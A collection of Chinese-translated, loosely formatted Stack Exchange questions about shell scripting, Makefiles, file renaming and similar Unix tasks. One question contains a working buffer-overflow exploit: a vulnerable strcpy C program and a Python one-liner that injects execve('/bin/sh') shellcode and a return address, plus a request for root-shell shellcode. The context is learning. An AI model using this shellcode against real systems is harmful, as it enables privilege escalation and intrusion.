我正在编写一个脚本,我想检测是否安装了给定的 Flatpak 软件包,并根据答案采用不同的代码路径。我怎样才能做到这一点?command -v
除非用户手动采取必要的步骤将 Flatpak 包添加到,否则像这样的传统措施显然不会起作用$PATH
,所以我不想依赖它。
从脚本运行时如何让 printf 输出十六进制字符?
假设我在提示符处输入 printf "\x41\x42"我得到的输出
AB%
但是,如果我有一个包含该行的脚本,即 cat test.sh
产生
printf "\x41\x42"
但是执行脚本./test.sh会产生
\x41\x42%
如何让脚本产生与 shell 提示符相同的结果?
我想将以下命令(取自此处)包含在Makefile
. 包含该命令的脚本的简单版本Makefile
是:
copy_files:
sed 's/^/\./' ./input_file | \
rev | \
LC_ALL=C sort -u | \
awk 'p == "" || substr($0,1,length(p)) != p { print $0; p = $0 }' | \
rev | \
sed 's/^\.//' > ./output_file
我遇到的问题是,当我使用 执行它时make
,它无法识别该$0
符号:
awk: cmd. line:1: p == "" || substr(,1,length(p)) != p { print ; p = }
awk: cmd. line:1: ^ syntax error
awk: cmd. line:1: p == "" || substr(,1,length(p)) != p { print ; p = }
awk: cmd. line:1: ^ syntax error
我尝试逃避$0
使用\$0
但没有成功。解决办法是什么?
我正在使用fdupes
选项打印某个文件夹中的重复文件列表--recurse
。
然而,由于我使用的是 macOS,递归过程将 Mac 应用程序(似乎是以 结尾的文件夹.app
)视为文件夹并运行到它们中,从而在重复文件上产生大量不需要的额外信息。有什么方法可以跳过此类文件夹吗?
我正在尝试使用 shell 脚本识别音频收藏中具有高/低比特率的文件。做起来file test.mp3
非常快:
$time file test.mp3
test.mp3: Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
real 0m0.027s
但是,file
不显示 .m4a 文件的比特率:
$time file test.m4a
test.m4a: ISO Media, Apple iTunes ALAC/AAC-LC (.M4A) Audio
real 0m0.056s
我尝试使用exiftool
and ffprobe
,但它们似乎至少慢了 10 倍:
$time exiftool test.m4a
Avg Bitrate : 131 kbps
real 0m0.532s
$time ffprobe test.m4a
Stream #0:0[0x1](und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 130 kb/s (default)
real 0m0.621s
这大约只有 100 个文件/分钟,相当慢。有没有更快的方法来查找 m4a 文件的比特率?据我了解,ffprobe
检查流数据而不是标签,因此它比file
. 只要速度快,我就可以接受不太精确的比特率值。
我有一个名为 runthunderbird 的 bash 脚本,它...运行 Thunderbird :
#!/bin/bash
sleep 5
thunderbird & disown
当我runthunderbird
从 krunner 执行时,Thunderbird 按预期在 5 秒后启动,然后进程结束,如Plasma 5.27.10 系统监视器中的进程列表runthunderbird
所示。ps -ef
但是,同一个系统监视器有一个“应用程序”选项卡runthunderbird
,其中仍然列出了thunderbird-bin
Thunderbird 的资源(例如内存)消耗,而不是 。
如果脚本在结束之前不只运行 Thunderbird,而是运行多个图形应用程序,则它们会在“应用程序”选项卡中集中在一起,再次位于(终止的)脚本的名称下。
我想知道这是如何管理的以及我应该如何编写脚本以将雷鸟与脚本完全分离而不是运行它。
我还想知道这个事实是否与当 runthunderbird 脚本在登录时从~/.config/autostart
.
我在 Debian 机器上有一个深层文件夹结构,其中目录名和文件名包含一些“特殊”字符(ä
、ö
、ü
)。但是,这些不是“ISO-8859-1”,而是 Unicode 组合字符形式。据我所知,这是一个简单a
的加上两个点(分音符/元音变音)作为“单独”字符。
我尝试使用 find 和 sed 批量重命名所有文件和文件夹:
#!/bin/bash
# Files - normal characters
find . -depth -name "*[äöüÄÖÜ]*" -exec bash -c 'mv "$1" "$(echo $1 | sed -e "s/ä/ae/g; s/ö/oe/g; s/ü/ue/g; s/Ä/Ae/g; s/Ö/Oe/g; s/Ü/Ue/g")"' _ {} \;
# Files - Unicode combining characters
find . -depth -name "*[äöüÄÖÜ]*" -exec bash -c 'mv "$1" "$(echo $1 | sed -e "s/ä/ae/g; s/ö/oe/g; s/ü/ue/g; s/Ä/Ae/g; s/Ö/Oe/g; s/Ü/Ue/g")"' _ {} \;
# Directories - normal characters
find . -depth -type d -name "*[äöüÄÖÜ]*" -exec bash -c 'mv "$1" "$(echo $1 | sed -e "s/ä/ae/g; s/ö/oe/g; s/ü/ue/g; s/Ä/Ae/g; s/Ö/Oe/g; s/Ü/Ue/g")"' _ {} \;
# Directories - Unicode combining characters
find . -depth -type d -name "*[äöüÄÖÜ]*" -exec bash -c 'mv "$1" "$(echo $1 | sed -e "s/ä/ae/g; s/ö/oe/g; s/ü/ue/g; s/Ä/Ae/g; s/Ö/Oe/g; s/Ü/Ue/g")"' _ {} \;
但是,如果参数中的参数是组合 Unicode
而不是 ISO-8859-1,则似乎还会选择
文件/文件夹名称中find
出现的所有内容。例如,a
ä
-name
ä
$ find . -name "*[ä]*" //<-- one letter ä
./filename_one_letter_ä
$ find . -name "*[ä]*" //<-- combining letter ä
./filename_with_just_a
./filename_one_letter_ä
./filename_with_combining_diaeresis_ä
因此,它 sed
会原封不动地传递文件名,因此 mv
当我要求它重命名时会抱怨,例如,将“ Baustand
”重命名为“ Baustand
”(即源和目标相同)。
如果无法使用 find 进行搜索,如何在 Linux 系统上的文件/文件夹结构中搜索和替换所有组合的 Unicode 、ä
、ö
、ü
、Ä
、 ?我可以尝试另一种方法吗?Ö
Ü
我的文件和目录名称的示例是:
/Projekte/03-11_Törggel_Mammern/Baustand/03-11_Törggel-Baustand_190501_0009.jpg
我想重命名为
/Projekte/03-11_Toerggel_Mammern/Baustand/03-11_Toerggel-Baustand_190501_0009.jpg
的输出echo $LANG
是en_US.UTF-8
.
我对 Unix 的了解不是很好。我正在尝试编写一个 shell 脚本来重命名目录中的一组文件,例如1709532255.mp4
to 20240304_070415.mp4
,其中1709532255
始终是纪元时间。
我找到
date -d @1708532255 +'%Y%m%d_%H%M%S'
...给了我想要的格式,但我无法让它在脚本中工作。
这是我的脚本:
#!/bin/bash
for file in /media/HAVideo/Eingang/Test/2/*.mp4
do
filename=`echo "${file}" | cut -d'.' -f1`
readable=`date -d @$filename +"%Y%m%d%H%M%S"`
mv "${file}" "${readable}"
done
输出是:
...
date: invalid date '@/media/HAVideo/Eingang/Test/2/1709532255'
mv: can't rename '/media/HAVideo/Eingang/Test/2/1709532255.mp4': No such file or directory
...
我正在尝试利用以下代码:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
使用以下命令
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
第一部分是 NOP,第二部分是我从这个网站获取的 shell 代码,它应该只是execve("/bin/sh")
. 最后一部分是返回地址。我的程序是为 32 位系统编译的,并且禁用了所有保护机制。当我运行我的脚本时,我得到
process 15377 is executing new program: /usr/bin/bash
意思bash
是以当前用户身份运行,而不是以 root 身份运行。在哪里可以找到以 root 身份运行 shell 的 shell 代码?我是否必须禁用任何可以防止这种情况发生的 Linux 功能?
当我运行时,whoami
我得到当前用户而不是 root。在这个“首次利用!Shellcode 缓冲区溢出 – bin 0x0E”视频使用相同的脚本,并授予 root 访问权限。
我正在使用这个脚本,来自另一个 stack extange 帖子。它允许我强制 Lynx 使用正确的终端颜色。问题是背景颜色不正确,它正在读取第七个终端颜色而不是实际的终端背景。我将如何覆盖背景颜色(包括旨在作为背景颜色的选择后面的颜色)?
为此,必须在 中完成,lynx.cfg
因为lynx.lss
是空白的。这是当前的脚本:
#!/bin/sh
# invoke lynx built with color-style, overriding the color options to use the
# non-color-style scheme -TD
my_cfg=${TMPDIR:-/tmp}/lynxcfg$$
my_lss=${TMPDIR:-/tmp}/lynxlss$$
trap "rm -f $my_lss $my_cfg" 0 1 2 5 15
echo >$my_lss
rm -f "$my_cfg"
echo "DEFAULT_COLORS:off" >>$my_cfg
if test -n "$LYNX_CFG" ; then
echo "include:$LYNX_CFG" >>$my_cfg
fi
echo "COLOR_STYLE:" >>$my_cfg
echo "NESTED_TABLES:off" >>$my_cfg
LYNX_CFG=$my_cfg
export LYNX_CFG
LYNX_LSS=$my_lss
export LYNX_LSS
${LYNX_PROG-lynx} "$@"